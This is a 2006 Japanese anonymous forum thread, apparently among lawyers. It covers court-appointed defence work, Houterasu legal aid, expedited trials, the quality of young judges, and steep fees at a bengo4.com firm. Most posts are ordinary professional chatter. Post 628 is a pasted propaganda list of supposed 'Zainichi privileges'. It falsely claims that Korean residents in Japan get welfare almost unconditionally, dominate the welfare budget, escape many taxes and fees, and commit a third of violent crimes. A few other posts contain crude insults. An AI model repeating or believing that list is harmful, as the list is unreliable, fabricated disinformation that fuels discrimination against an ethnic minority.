540 :無責任な名無しさん:2006/08/17(木) 14:58:24 ID:PiYTE52E
>>528>>529>>531>>532>>533

> 強弁をもって自己の意見を正当化したいときに使用する
当方非弁で、民事訴訟事件の原告ですが、わかる気がします。
相手方から準備書面が提出されるのですが、明らかに法の条理に反している主張や強引な捻じ曲げによる解釈主張をする時に、大体使われますよね。
自信がなくて、ビビっているんだろうけど。
一例を出しますと、
「欠勤事由を故意に秘匿したことは、従業員としての信義に反する」→「具体的な欠勤事由を告知する規定は就業規則に存在しない。」
規定がないのだから、筋もへったくれもないw

> 誠意だのなんだのは,自分自身に言うべきものであって,人に言うべきものではない
非常に勉強になります。
得てして誠意とか何とかという輩に限って、そういうものを無視しますよね。

541 :無責任な名無しさん:2006/08/17(木) 16:39:32 ID:4ciO53ma
う〜ん。
それとは違うような・・・。

542 :無責任な名無しさん:2006/08/17(木) 16:54:51 ID:4aMCQl0t
「誠意を見せろ」
「筋を通すのが人の道ってもんやろ」
「わしの面子をつぶす気か」
「センセイ、今回だけはどうかこらえたってくれ」
「このまま手ぶらで帰れへん、わしの立場はどうなる」

こういうこと言う奴にろくな奴はいない。まあ全部カネ目当てなんだが。

543 :無責任な名無しさん:2006/08/17(木) 17:43:15 ID:B+X6yD9r
そして公判では恐喝の犯意を否認して,人の道を説いただけ!というわけで。

544 :キムちゃん:2006/08/17(木) 19:31:40 ID:hTXvkeyx
大好きな弁護士だったけど、やめることにしました。
みんなごめん!


545 :無責任な名無しさん:2006/08/17(木) 20:35:17 ID:igkPgRDG
>>544

大好きな司法試験だけどやめることにしました。みんなごめん。
弁護士なんてさ、でかいこと言ったけど,どこにもたどり着けないで…

手は振らないよ!くやしいからね!

http://school5.2ch.net/test/read.cgi/shihou/1153485108/

546 :無責任な名無しさん:2006/08/17(木) 20:38:19 ID:igkPgRDG
おれやるよ。みんながやれっていうからやるよ。
悪い夢を見ていたのかな。
俺だけの国選じゃないんだから。みんなで支えてるんだから。
簡単にさよならするわけにはいかなかった。

547 :無責任な名無しさん:2006/08/17(木) 20:58:52 ID:NfcBJUYR
あっそ。

548 :無責任な名無しさん:2006/08/18(金) 00:11:24 ID:e8NpoMme
今日事務所出て法テラス推進のビラを見た。
やはりシュンキチさんたちのビラに比べて迫力ないねー。
嫌々やらすとこうなるのかといういい見本だね。
なんでこんなもん配るのか理解不能だ。

549 :無責任な名無しさん:2006/08/18(金) 00:35:21 ID:k8pW9vyZ
>>548
主義主張に賛同するかどうかは別として高山一家の情熱というか熱心さには感心する。
もう結構いい年なのはずだが。若い世代はあきらめモードなのに。

550 :無責任な名無しさん:2006/08/18(金) 11:27:43 ID:Q11TXCnR
今朝の朝日新聞によると、金融庁は、銀行やサラ金等の信用情報機関を一本化して全貸金業者に加入を義務づける方針らしい。
巨大信用情報機関の誕生だ。どのみち金融庁の役人が天下りをするから、国家による国民の信用情報の一元監視が可能になる。
債務面にけおる国民総背番号制の誕生と同じだ。日弁執行部やクレサラ左翼弁護士は、金利引下げに熱心なあまり、負の側面に全く目がむいていない。
木を見て森を見ずだ。金融庁の焼け太りと国民管理システムの導入をゆるしてはならない。

551 :無責任な名無しさん:2006/08/18(金) 12:22:37 ID:MfgqOj7A
金利引き下げは骨抜きになりそうですね

http://www.asahi.com/business/update/0818/045.html

552 :無責任な名無しさん:2006/08/18(金) 13:32:55 ID:sGqiVF9Y
刑事弁護やらないくせに,扶助だけやるって言う申し込みをするクズが多いのが笑える
どうせやらないなら,一切やらなかったらいいのに

553 :無責任な名無しさん:2006/08/18(金) 13:55:38 ID:jFMQR+Ak
>>552
何でくずだ?

554 :無責任な名無しさん:2006/08/18(金) 13:57:26 ID:Gpc42g++
扶助より刑事弁護のほうが楽だろうに。
確かに刑事では10件に1件ぐらいの割合でジョーカー引くけど、民事で変な事件を何ヶ月も引きずるより、
よっぽどマシだと思うが。

555 :無責任な名無しさん:2006/08/18(金) 14:43:05 ID:v0TYEkqo
民事扶助なんて刑事弁護と変わらない。願わくばやりたくない。
法務省の監督が云々という論理を徹底すれば,国賠で扶助を使うことに利害衝突があるから,民事扶助も契約しないことになるんだろうけど。

556 :無責任な名無しさん:2006/08/18(金) 15:21:55 ID:jFMQR+Ak
>>554
そうか,よく考えたら両方やんなければいいな。
いいコと教えてもらった。
民事で扶助相当な事件が来たら,法テラス行って,といえばいいし,刑事は当番だけやるか,全くやらないかで
全然問題ないな

557 :無責任な名無しさん:2006/08/18(金) 15:51:16 ID:Gpc42g++
地方のちまちました弁護士だからかもしれんが。
国選はそんなに悪い事件ばかりじゃないと思うけどなあ。
接見2〜3回、1回結審で使いまわしの弁論要旨ですむ事件が大半なんだから。


558 :無責任な名無しさん:2006/08/18(金) 15:57:10 ID:jFMQR+Ak
>>557
ひょっとして拘置所が裁判所・事務所のそば,示談もしないってこと?
それなら東京でもやってもいいけどね

559 :無責任な名無しさん:2006/08/18(金) 16:04:22 ID:uHiyrSZb
>>558
地方では示談のお金がない窃盗や常習累犯窃盗などが結構多い。

560 :無責任な名無しさん:2006/08/18(金) 16:15:44 ID:C6Sv7ppc
少しばかりのお金は持ってるけど、示談するくらいなら
刑務所での小遣いにしたいので、やらないという奴も多い。

561 :無責任な名無しさん:2006/08/18(金) 16:32:08 ID:MfgqOj7A
国選やらないと刑事事件やる機会がないのでホントはやりたいんだけど,
良心が許さないので法テラスはパス。
民事もね。

562 :無責任な名無しさん:2006/08/18(金) 16:36:12 ID:Gpc42g++
>>558
拘置所は事務所から車で10分。まあ、拘置所がいっぱいなんで警察に行くことが大半だけど。
ホームレスの窃盗とか覚せい剤の一発使用とかオーバーステイとかが結構あるんだよね。
接見して裁判制度の説明やって使いまわしの被告人質問と弁論要旨で終わるから。

そういえば、最近はオーバーステイで合議事件になることが多いな。偽造パスポートや
偽造外国人登録証を使っちゃってるケースが多くて。
どうせ執行猶予で強制退去なんだから、オーバーステイだけにしてさっさと事件処理しちまえば
いいのに。合議事件にしたせいで、期日がなかなか入らなくなる。

563 :無責任な名無しさん:2006/08/18(金) 18:24:30 ID:sW/0qHja
あと2日の間にやらなければならないこと

・鑑定事項 2通(ほとんど読んだことのない引継事件)
・最終準備書面 3通(うち1件はほとんど読んだことのない引継事件)
・答弁書 1通
・控訴の答弁書 1通

以上のうち,裁判所への既に提出期限が過ぎているもの:4通

どうしましょう。

564 :無責任な名無しさん:2006/08/18(金) 18:34:25 ID:SBsK/dAh
こんなところにカキコしてないで仕事しろ。

565 :無責任な名無しさん:2006/08/18(金) 18:34:48 ID:sGqiVF9Y
>>553
事務所経営上扶助をやらないといけないんだろうなぁという感想です。

566 :無責任な名無しさん:2006/08/18(金) 18:38:51 ID:sGqiVF9Y
>>563
鑑定事項は研修所が出している本もってたら楽だけどな。
読んだことなくても勘所はわかるだろ
で,最終準備書面はまずはこれまでの準備書面のファイルを集めろ。
基本的にはそれを切り貼りだ。ただし尋問は良く読んで,主張に絡めろよ。
答弁書は1枚紙のやつ出しとけ。
控訴の答弁書は一審の最終準備書面のファイルを元に編集しろ。

なぁに,1日仕事だ。
あとは懲戒の問題だから,少なくとも事件は前に進んでいるよ。

567 :無責任な名無しさん:2006/08/18(金) 18:41:04 ID:ejJdlVUw
>>563
全てを忘れ旅に出る。

568 :無責任な名無しさん:2006/08/18(金) 19:31:41 ID:jQyWZpOB
いよいよ我等がリーダー東京地裁の福田剛久さんが最高裁の局長になるらしいよ。
だって、福田さんってALS患者の選挙権訴訟で憲法違反って宣言してくれて
選挙権獲得に道を開いてくれた人だし当然か。
最高裁で落雷の危険を予見しなかったサッカー部の引率者に責任を認めたけど、
そういう判決の流れを作った人だよね。
スピッツ犬の医療過誤訴訟で80万円の慰謝料などを認めたこともあるよね。
本命といっていいね。遅すぎたよ。

569 :無責任な名無しさん:2006/08/19(土) 11:55:45 ID:MVrB1OGI
>>558
国選で示談なんてほとんど出来ない。

570 :無責任な名無しさん:2006/08/19(土) 14:07:33 ID:hdy93IDn
即決裁判制度が施行されたら事実上だが示談も情状証人も不要
情状証人にかえた上申書の提出を裁判所は要望している。
20分公判審理時間5分間で判決宣告5分間インターバル。
だからって国選報酬ねぎるのかよ!

571 :無責任な名無しさん:2006/08/19(土) 14:26:27 ID:Zh4mIXPe
即決ってやる前から執行猶予ってわかってるってことだろ
裁判やる意味ないじゃん
起訴前から走らされて6万円
あほらし

572 :無責任な名無しさん:2006/08/19(土) 14:31:16 ID:OkToeNhz
>>569
けちな窃盗なら十分できるだろ
>>570
>>571
でも記録はしっかり読まないと弁護過誤っていわれるんだろうね。
近頃裁判所も検察庁も法律の適用を間違えることもあるので,その辺のチェックもしなくてはいけないんだろうね。
上申書は手を加えない方向で行かないとやってられないね。

その程度の弁護活動で良いよってことだろうか。

国選が安いのだって,裁判が遅いのだって,修習の期間を短くしたり修習の代わりにロースクールつくって失敗してたりするのも
裁判所のバカが予算取れないから


573 :無責任な名無しさん:2006/08/19(土) 14:32:01 ID:OkToeNhz
あ,法テラスが裁判所じゃなくって法務省の下になったのも,裁判所が予算取れないからだね。

574 :休憩中 ◆tr.t4dJfuU :2006/08/19(土) 23:57:59 ID:eQ1YTK9K
単に法務省の天下先確保が目的と思ったが。>法テラス

575 :無責任な名無しさん:2006/08/20(日) 09:27:42 ID:1x0Vz4T/
>>572
けちな窃盗でもあんまり示談したことないなあ。
現実問題として。
被害品還付で弁償不要か無一文で弁償不可能なケースがほとんど。

576 :無責任な名無しさん:2006/08/20(日) 09:35:55 ID:C20qv7Uj
大体示談できるぐらいの資力があれば、
今後は私選になるんじゃね

577 :無責任な名無しさん:2006/08/20(日) 10:00:20 ID:AWCguG/K
資力があっても,その資産が財産犯罪によって形成された蓋然性が高い場合,
それを認識しながら着手金や報酬金として受け取ると,犯罪収益収受罪に問われる可能性がある。

アメリカでは麻薬の売人などの私選弁護人になる場合は本人から報酬を受け取らないようにするという話。

578 :無責任な名無しさん:2006/08/20(日) 10:06:51 ID:5NtNHu88
>570
情状証人にかえた上申書の作成しなければならないのなら、即決の方が
大変なケースもあるような気がする。
国選だと、忙しい、仕事だという理由で事前打ち合わせに来てくれない情状
証人がいる。裁判のときだけはなんとか行ってもいいけど・・・って感じで
恩着せがましく言われ、頭を下げて公判にようやく来てもらう。
そんな事件が結構あることを考えると、上申書作成するために事務所に来て
もらうための労力が大変そう。
上申書なくても確実に執行猶予にしてくれるなら、親族があえて出したいと
言ってきたとき以外は作らなくてもいいのかな。被告人に文句言われそうだけど。

579 :無責任な名無しさん:2006/08/20(日) 11:31:28 ID:C20qv7Uj
即決なんて無意味なものやめてアレインメント導入すりゃいいのに
税金の無駄遣いも減るし


580 :無責任な名無しさん:2006/08/20(日) 12:55:43 ID:LrdPon2T
>>579
司法試験合格以来、憲法の本なんか開いたことないから
いいかげんな記憶だけど、アレインメントって、憲法改正せず
にできるんだっけ?

581 :無責任な名無しさん:2006/08/20(日) 13:18:15 ID:htmZu589
>>580
裁判官の裁判であれば、現行憲法でもできるとオモタ

582 :無責任な名無しさん:2006/08/20(日) 15:00:34 ID:D5sHaUFq
略式を執行猶予相当事案にまで広げればいいんだよ。

583 :無責任な名無しさん:2006/08/20(日) 15:18:16 ID:9AsFlsoT
弁護士紀藤正樹のLINC TOP NEWS−BLOG版
http://kito.cocolog-nifty.com/topnews/2006/07/__3c85.html
2006.07.22 日弁連 - 能代ひまわり基金法律事務所(秋田県)

能代市事件で、有坂秀樹弁護士、大変そう!

志ある弁護士なのに、彼の発言を悪意で取る、メディアにObjection!

■日弁連 - 能代ひまわり基金法律事務所(秋田県)の有坂弁護士
http://kito.cocolog-nifty.com/topnews/2006/07/__3c85.html


584 :無責任な名無しさん:2006/08/20(日) 15:19:09 ID:9AsFlsoT
>>583
宮崎学責任編集「直言」
2006年8月18日 (金) 第4回「秋田県警は自供せよ!」
http://web.chokugen.jp/kuroki/2006/08/post_cf7e.html

585 :無責任な名無しさん:2006/08/20(日) 19:45:52 ID:Vm18PjmR
先日、行政訴訟を傍聴にいっていたら原告の弁護士が、釈明処分を求めます と
言っていました。
釈明処分とはなにを意味するのですか。また、釈明処分を求める事によって
何を求めようとしているのですか。

586 :無責任な名無しさん:2006/08/20(日) 19:51:03 ID:rUMh845C
きのうから「裁判・司法」板ができているようですが・・・
なんだかしょっぱなから荒れてます・・・
しばらく様子見かな。

587 :無責任な名無しさん:2006/08/20(日) 20:01:50 ID:rUMh845C
>>585
いつもの人はこのスレに書き込まないように。さようなら。

588 :無責任な名無しさん:2006/08/20(日) 20:54:34 ID:N93GMrsc
>>585
裁判所(裁判長ではなく)に対して、不明な点やわからい事項について被告たる
行政庁に交渉記録や決裁書を求める事により、原告の知り得ない事項を得、
口頭弁論を有利に進める方法で10年前の民訴改正で付与された項目。

589 :無責任な名無しさん:2006/08/21(月) 09:41:01 ID:LkHUbf/P
裁判・司法
http://society3.2ch.net/court/

590 :無責任な名無しさん:2006/08/21(月) 10:34:44 ID:LkHUbf/P
>>589

869 名前:みかん( ☆ ´ ー ` ☆ ) ◆PpNattILVM [sage] 投稿日:2006/08/11(金) 00:41:12 ID:ZNWkB8KW0
何回か出してるやつを。

【板名】 裁判・司法
【理由】
裁判や調停の件数が増加していること、また、裁判員制度の導入
など、国民の司法への関心が高まっている現状がある。
訴える人も訴えられる人も、日頃から裁判に携わっている人たちも
情報交換する場が必要かと。
【内容】
過去現在の具体的な訴訟や調停について。
裁判官、検察官、弁護士について。
司法制度改革など。
【カテゴリ】 社会
【鯖】 society3
【フォルダ】 court
【名無し】 名無しの申立人
【ID】 強制

新板をねだるスレ@運用情報◆26
http://qb5.2ch.net/test/read.cgi/operate/1150644262/869

591 :無責任な名無しさん:2006/08/21(月) 11:14:06 ID:nBJiSc4N
今日は高校野球のせいで,仕事が手につかない悪寒。

592 :無責任な名無しさん:2006/08/21(月) 11:17:28 ID:EWM9ko6r
法務省は、弁護士責任制限法を作ってくれ。
国選や扶助の採算割れ事件については、費用に見合うそれなりのやっつけ仕事でも弁護士
の責任を問わないという法案だ。そうすれば呆テラスと契約する弁護士も増えるだろ。
予算もいらないし、一石二鳥じゃないか。

593 :無責任な名無しさん:2006/08/21(月) 12:58:28 ID:GMdzJWba
保険入れよ

594 :無責任な名無しさん:2006/08/21(月) 20:34:46 ID:lx2FeMwp
弁賠を使った人の話しによると、
なかなか、払い渋りが強いそうですよ。
賠償責任保険なんて、いざとなると実際には相当ハードルが高いことは、
(加害、被害者を問わず)自動車保険の事件をやればすぐ分かる。
大半は、保険会社の論理で動いている。

特に、弁賠は、事前に、弁護士会の審査?もあると聞いて萎えたが、
実際はどうなのかな。
経験者のお話を乞う。

595 :無責任な名無しさん:2006/08/21(月) 20:49:47 ID:CxYKu5PQ
http://store.kinzai.jp/book/10917.html
証拠保全の実務−東京地裁による証拠保全手続のすべて

またマニュアル本。この本を根拠にうるさいこと言ってきそうな悪寒

596 :無責任な名無しさん:2006/08/21(月) 23:55:56 ID:FxHxtT5D
>>595
当方非弁ですが。
その本は、誰でも購入できるのですか?


597 :無責任な名無しさん:2006/08/22(火) 00:03:35 ID:3T+LRNBn
>>596
買える。
Amazonにもあるし,大型書店なら置かれるはず。

598 :無責任な名無しさん:2006/08/22(火) 00:13:08 ID:OGuGFOtC
買っても読んで分からない場合が多い
専門書とはそういうものです

599 :休憩中 ◆tr.t4dJfuU :2006/08/22(火) 01:25:25 ID:wnMxBej4
>595
昔判事補らが作った物語調のものに手を加えたものかな。
証拠保全なんて裁判所によって運用違いすぎて役に立つのだろうか?

たまにやたら細かい資料を求める新補さんがいますが。

600 :無責任な名無しさん:2006/08/22(火) 07:30:01 ID:pAPx39Ci
>>599
先日、債務者の居住建物の仮差申請をしたら、
住居表示と地番とが同一である資料を出せと言われた。
必要性の判断に必要だとのこと。

2年前には、こんなこと言わなかったが、よく分からん。
日本の裁判官は、住宅を複数もっている人が大部分なのかな。


601 :無責任な名無しさん:2006/08/22(火) 09:43:54 ID:a8POsyCA
>>600
いや。若手の裁判官はバカが多い。
一般常識がないと言い換えても良い。
それをマニュアル本を根拠に,「実務(w)ではこうです」などと知ったげに言う。
記録読まないベテラン裁判官にも困るが,マニュアル本しか見ていない非常識バカの方がもっと困る。
世間一般で常識的に通っていることの立証を求めるのは良くあることだ。

602 :無責任な名無しさん:2006/08/22(火) 11:27:53 ID:ie5RsKb/
>>599
保全の必要性の判断なんて、本当にバラバラだよね。
預金に仮差押さえかけるとき、債権者住所地の裁判所が疎明資料を要求しまくった挙句の果てに
「ダメ」というもんだから、ぶちきれて被告住所地の裁判所(高裁所在地)の裁判所に出したら、
一発で通ったときがあったなあ。


603 :無責任な名無しさん:2006/08/22(火) 11:42:58 ID:XdSm8Q5F
>>599
新人弁護士がカルテの証拠保全をかけるというストーリー
裁判官から証拠保全の必要性を疎明する陳述書の追加提出を求められるという
確実に裁判官に悪影響を及ぼすマニュアル本w

604 :無責任な名無しさん:2006/08/22(火) 11:53:56 ID:3YtANQ0a
やはり判事補採用に3年ぐらいの弁護士経験を必要とするようにした方がいいと思う
確かに若手判事補見てると近年の合格者そのもののレベルが下がったのかなと思う

605 :無責任な名無しさん:2006/08/22(火) 12:07:40 ID:FZmAb5qo
>裁判官から証拠保全の必要性を疎明する陳述書の追加提出を求められるという
数年前に裁判所から初めてこれを言われて唖然とした記憶が甦ったw

606 :無責任な名無しさん:2006/08/22(火) 12:15:26 ID:ie5RsKb/
>>604
しかし、弁護士任官の裁判官が、一番評判悪かったりするんでなあ……。
一度弁護士任官の裁判官が赴任してきたことあるけど、地元の弁護士からは、
「勝つにしろ負けるにしろ、どうしてこういう判決になるのか理解できん。」という声が上がりまくったからなあ。


607 :無責任な名無しさん:2006/08/22(火) 12:18:03 ID:3YtANQ0a
それは現在弁護士任官する人のレベルそのものが低いからであって,
元々裁判官志望の優秀な人に弁護士経験を積ませればより優秀な裁判官になるものと思う

608 :無責任な名無しさん:2006/08/22(火) 14:28:59 ID:roK48HTe
逆に,「俺は何でも知ってるんだぞコラー」という,紋切り型の裁判官になってしまうかも。

609 :無責任な名無しさん:2006/08/22(火) 15:36:56 ID:a8POsyCA
バカが何でも知ってるって思っている今よりマシ

610 :無責任な名無しさん:2006/08/22(火) 16:06:52 ID:iDY8lO6u
通常の民事部を担当する裁判官は、弁護士(なるべく町弁)を5年程度経験
したことがあり、なおかつ部長の下でしごかれた人が望ましいような気がする。
弁護士任官だと、いろんな事件を網羅的にやってきた弁護士とは限らないのに
いきなり単独で事件を任されてしまうから問題あり。
かと言って、今のような変なエリートだけが裁判官になると、弁護士が何が
できるか知らず、集めようのない疎明資料を要求されたり、事件の筋を把握
できずに期日が無駄に過ぎる。
事件の筋が読める裁判官は、無駄に冗長な争点整理をしたり、変な書証を
求めない。
叩き上げでもいい裁判官はたくさんいるのに、比較的若手に変なのが多いのは
何故なんだろうか。世代の問題?弁護士も同じ傾向なのかな。

611 :無責任な名無しさん:2006/08/22(火) 16:12:48 ID:3YtANQ0a
優秀な人は法律の勉強してる間にも教養や一般常識を身につける余力がある。
そうでない人は法律馬鹿になりやすい。
最近は優秀な人は全部渉外に取られる傾向でもあるのかな?
一街弁に過ぎない私にはわからない。

612 :無責任な名無しさん:2006/08/22(火) 19:05:56 ID:sfnDJFJB
特例の右陪席がひどい。
思い込みが激しいのが多い。
単独を任されて張り切りすぎ。


613 :無責任な名無しさん:2006/08/22(火) 20:55:03 ID:rZCUqgBl
ここ数年毎年のように再任拒否(本人による再任願取下げも含む)が数人出てるからな。
やはり裁判官の質が落ちてるような気がする。
「私はこの問題(そんなに難しい事案じゃない)についてはあまり詳しくないので…」なんて
平気で言う裁判官が珍しくない。
裁判官にそんな事言われた日にはどう反応すればいいのか返答に窮する。これでも都市部
の地裁判事が務まるんだからなあ。

614 :無責任な名無しさん:2006/08/22(火) 21:12:55 ID:OGuGFOtC
昔は分からなかったら,裁判官室でこっそりかつ一生懸命調べたものだが。
最近の若手判事(補)は何やってんだか心配になる

615 :無責任な名無しさん:2006/08/22(火) 23:07:23 ID:xShBx/M/
>>613
詳しくないなら教えてやればいい。それだけじゃん。

616 :休憩中 ◆tr.t4dJfuU :2006/08/23(水) 00:46:02 ID:XB+92JXK
>603
ありがとう。困った本ですね・・・

>605
同じ経験ありw

617 :無責任な名無しさん:2006/08/23(水) 01:19:40 ID:EWp9RLNu
住居表示くらいで驚いちゃいけません。
東京地裁民事9部は富士銀行がみずほ銀行に
なったことについても疎明資料を求めます(ホントです。)

618 :休憩中 ◆tr.t4dJfuU :2006/08/23(水) 01:32:14 ID:XB+92JXK
わはは
私も他の裁判所で似たような経験があるぞ。
UFJが東京三菱UFJになったということの疎明資料w

619 :休憩中 ◆tr.t4dJfuU :2006/08/23(水) 01:42:34 ID:XB+92JXK
しまった。三菱東京UFJですね

620 :無責任な名無しさん:2006/08/23(水) 11:49:46 ID:W2Ik0hw1
弁護士ドットコムって、登録弁護士が動画で自己PRをしているが、言っちゃぁ悪いが
何かオランダの飾り窓の女を連想させるな。
弁護士の大安売りみたい。何か弁護士の価値を貶めるだけのサイトのような希ガス。
皆そんなに仕事がないのかな?

621 :無責任な名無しさん:2006/08/23(水) 14:27:50 ID:CO3u6vfy

売れない弁護士

    ド ッ ト 混 む

622 :無責任な名無しさん:2006/08/23(水) 17:36:08 ID:6oFpP/1T
石渡真維先生やっぱり凄く綺麗だなー
ttp://www.bengo4.com/search/detail.asp?id=6

623 :無責任な名無しさん:2006/08/23(水) 18:15:09 ID:y0quqTzI
確かにここの事務所は少なくとも2人はビジュアル系、イケメン系だな。
自分の売りを明確に打ち出ているな。マーケッティングの基本かもしれんが
俺のような時代遅れの弁には抵抗が強過ぎるよ。

624 :無責任な名無しさん:2006/08/23(水) 19:11:08 ID:OnDgbaPJ
世間の人は,「逆にうさんくさい」という印象を持たないのかね。


625 :無責任な名無しさん:2006/08/23(水) 19:22:26 ID:wVW3XdAi
その事務所の弁護士費用のところを見てみたのだが、
田舎弁から見るとry

626 :無責任な名無しさん:2006/08/23(水) 19:26:55 ID:6oFpP/1T
>>624
持たないでしょ。
世間の人の判断基準は、なじみやすいと感じるか否かだけ。

627 :無責任な名無しさん:2006/08/23(水) 19:34:28 ID:y0quqTzI
債務整理の相談は無料とあるから、綺麗なお姉さん先生と話をしたい
という変態男が殺到しそうな予寒

628 :無責任な名無しさん:2006/08/23(水) 19:36:22 ID:FCR6xB4e
●在日特権
[地方税]  固定資産税の減免
[特別区]  民税・都民税の非課税
[特別区]  軽自動車税の減免
[年 金]   国民年金保険料の免除 心身障害者扶養年金掛金の減免
[都営住宅] 共益費の免除住宅 入居保証金の減免または徴収猶予
[水 道]    基本料金の免除
[下水道]  基本料金の免除 水洗便所設備助成金の交付
[放 送]    放送受信料の免除(NHK全額免除)
[交 通]    都営交通無料乗車券の交付 JR通勤定期券の割引
[清 掃]    ごみ容器の無料貸与 廃棄物処理手数料の免除
[衛 生]    保健所使用料・手数料の滅免
[教 育]    都立高等学校   高等専門学校の授業料の免除
        朝鮮学校、韓国学校の保護者への年間数十万円の補助金援助(所得に関係なく全額補助)
        大学センター試験へ韓国語の導入(朝鮮語受験者への異常な優遇)
        民族学校卒業者の無審査公私高校受験資格付与。
        競争率の低い帰国子女枠で有利に進学可能。
        朝鮮大学校卒業者の司法試験1次試験免除。 民族学校卒業者の大検免除。
[通名] なんと、公式書類にまで使える。( 会社登記、免許証、健康保険証など )
        民族系の金融機関に偽名で口座設立→犯罪、脱税し放題。
        職業不定の在日タレントも無敵。
        凶悪犯罪者の1/3は在日なのに実名では報道されない。
[生活保護] 家族の人数 × 4万円 + 家賃5万円 在日コリアンは、ほぼ無条件で貰えます。
         一世帯あたり年600万円が無償で支給。 日本人は孤児だろうと病気だろうと、絶対に貰えない。
         予算枠の大半を、人口比率1%未満に過ぎない在日が独占。
         在日朝鮮人64万人中46万人が無職。
[住民票]   「外国人登録原票」は通常、一般人では閲覧できない。
         ( 日本人の場合、債権関係の係争で住民票を閲覧される )
「生活保護予算の大半は在日だけの特権保護費」



629 :無責任な名無しさん:2006/08/23(水) 22:12:28 ID:7nx7kYv7
>>625
一般民事の着手金最低42万円か。随分な殿様商売だのう。
離婚調停の着手金52万5000円からか。離婚でそんな金額もらったことない (・_・)

630 :無責任な名無しさん:2006/08/23(水) 22:43:40 ID:3IQC/RoW
>>625
報酬金が「得られた金額の21パーセント」ってのもすごい。
旧報酬基準でも4〜16%なのに。
内容証明郵便作成も「21万円〜」だって。
それに見合う仕事が出来るような人たちなの?

631 :無責任な名無しさん:2006/08/23(水) 22:48:49 ID:5YyeFTaE
ここの事務所って、ドットコムの運営してるんだろ
審判がプレイヤーになっていいの?


632 :無責任な名無しさん:2006/08/23(水) 23:24:14 ID:He6KARUl
内容証明作成 21万〜?

気ち○いか??

633 :無責任な名無しさん:2006/08/23(水) 23:46:30 ID:zGqT0cGj
>>632
当方非弁です。
内容証明作成の相場って大体どのくらいなのですか?

行政書士の場合、事案によるけど、1万円から5万円くらいのようですが。

634 :無責任な名無しさん:2006/08/23(水) 23:57:25 ID:7nx7kYv7
bengo4どっとこむで客寄せして,効率よく稼ぎたいんでしょう。

635 :無責任な名無しさん:2006/08/24(木) 00:19:22 ID:jK5nLX3x
>>633
3万から5万ぐらいじゃないの。最低21万というのは参った、恐れ入った。
内容証明でそんなに報酬取れるなんていい商売だ。

















636 :休憩中 ◆tr.t4dJfuU :2006/08/24(木) 00:23:52 ID:AydUEah8
>635
安くないか?

637 :無責任な名無しさん:2006/08/24(木) 00:26:43 ID:jK5nLX3x
内容証明で5万というのは安いのか。相場どおりだと思ってたんだが。

638 :無責任な名無しさん:2006/08/24(木) 00:35:27 ID:yYEXUHyF
内容次第なんじゃないの。
サラ金相手に時効援用の内容証明送るくらいなら3万で十分だし、
金払え、払わなければしかるべき法的措置云々というのをとりあえず
送りつけるのも5万で十分だろうし。
比較的複雑な事件だったり、やっかいな相手だったりで、交渉含みの
場合にはもう少し取るだろうし。

639 :無責任な名無しさん:2006/08/24(木) 00:44:50 ID:OIom+ta3
内容証明だけってあんまりないから、よくわからん。
弁護士名義で5万は、そんなもんかという気もするが、労力からいったら貰いすぎの気も。

640 :無責任な名無しさん:2006/08/24(木) 00:55:31 ID:muyC8bv5
弁護士名義なら5万
そうでないなら3万
確か旧報酬基準ではそんな感じだったような。

なので私は今でもそうしてます。

641 :無責任な名無しさん:2006/08/24(木) 01:03:36 ID:jK5nLX3x
民事事件として受任して仕事する過程で内容証明を出すことがあるというのが
ほとんどだよね。ただ例のドットコムの報酬が「内容証明作成だけで」21万以上
だとしたら、ちょっと高過ぎの感が…

642 :無責任な名無しさん:2006/08/24(木) 01:04:14 ID:IB6Bq8Yf
内容証明なら、書いたことありますが、
アンケートで、答えたなら、
突然、商品を郵送で押し付けてきて、
身内が代わりに払ってしまって・・
デパートで、内容証明の書類買ってきて、
自分で書いたけど、商品は、1万円ほどで、
でも、依頼すれば、それぐらいかかるんですか・・

643 :無責任な名無しさん:2006/08/24(木) 03:03:49 ID:Oj7oaNMg
特許侵害警告をよく書くんだけど、3万とか20万だと厳しい

644 :無責任な名無しさん:2006/08/24(木) 03:42:15 ID:PJwoUgDE
そうなんですか・・
特許だと、経済的な利益も多いだろうし、
クーリングオフとかと違って、複雑な理由からなんでしょうか。
そうそう、私は、京阪神に住んでますが、
例えば、会長経験者とか、ベテランとか、新人さんとかで、
値段とかも、代わってくるんですか?
あと、その後、仮に、発展して、訴訟とか、和議になっても、
弁護士さんの格とかで、勝ち得るものの代わってきますか?

645 :無責任な名無しさん:2006/08/24(木) 09:37:22 ID:Uz+A/oSs
内容証明は3万とか5万。
けど、相手に弁護士が就いて、文書のやりとりが繰り返されて行くと、
どこでどのように追加着手金を取ればいいのか悩む。
こんなに長く交渉するならもっともらわないと割に合わないということが
たびたび発生した。
最近は、とにかく出すだけで3万か5万、相手から回答が来てそれに基づいて
交渉に入ったら+○万、という感じで契約書を作成しているけれど、追加の
着手金が入金されないときでもこちらからの回答を放置するわけにもいかず、
困ってしまう。
「交渉分の着手金が入金されませんので辞任します」ってあっさり文書で
通知したいけれど、地方の小さい単位会なので、あいつは若手のくせに金に
ガメついと評判が立ちそうで躊躇してしまう。
今でもうちの会の上の期の人々は、若手のうちは金を稼ごうと思わずボランティア
仕事をしろってうるさい。
ボランティア仕事なんて、昔はなかった数多くの無駄な会務でたくさんやっているっつうの。

646 :無責任な名無しさん:2006/08/24(木) 09:55:47 ID:7T1uUFp5
若くて金がないうちにボランティアをしろという発想が不合理すぎる。
年取って資力に余裕ができた人がボランティアをしなさい。

稼ぐ必要のない年寄が過疎地や法テラスに行けばいいんだよ。

647 :無責任な名無しさん:2006/08/24(木) 10:05:56 ID:7T1uUFp5
暴利行為ってどの程度で懲戒になるんだっけ?

http://www.imgup.org/iup251147.jpg

648 :無責任な名無しさん:2006/08/24(木) 10:38:18 ID:ndmyPjl8
前にも書いたかも知れないが、15年以上前の話しだが、某有名弁護士に契約解除の内容証明1本出してもらっただけで1000万円の請求
を受けて実際支払ったという人が俺の顧問先の客にいた。バブル時代の旧き良き時代の話しだ。本人が納得していたので何の問題にもならなかった。
ただ、その弁護士は社会的弱者の味方、労働者の味方として名を馳せていた大物先生だったので、駆け出しの俺はびっくりした。結局人間の欲得は
政治信条や党派的立場を越えることがよくわかった。

649 :無責任な名無しさん:2006/08/24(木) 10:58:59 ID:lh/0cOHM
左翼系の人は意外に物欲が強いとの印象

650 :無責任な名無しさん:2006/08/24(木) 11:57:51 ID:8qshO7Yb
その客は、契約解除でかなりのあぶく銭をつかむことになるので、どうせあぶく銭なら
ワシも少々おこぼれに預かっても罰は当たらんだろうと考えて高額の請求をされたのではないかと
思うが、内容証明の報酬を3万円にしようか5万円にしようかと何時も悩んでいた俺はただただ
驚くばかりだった。

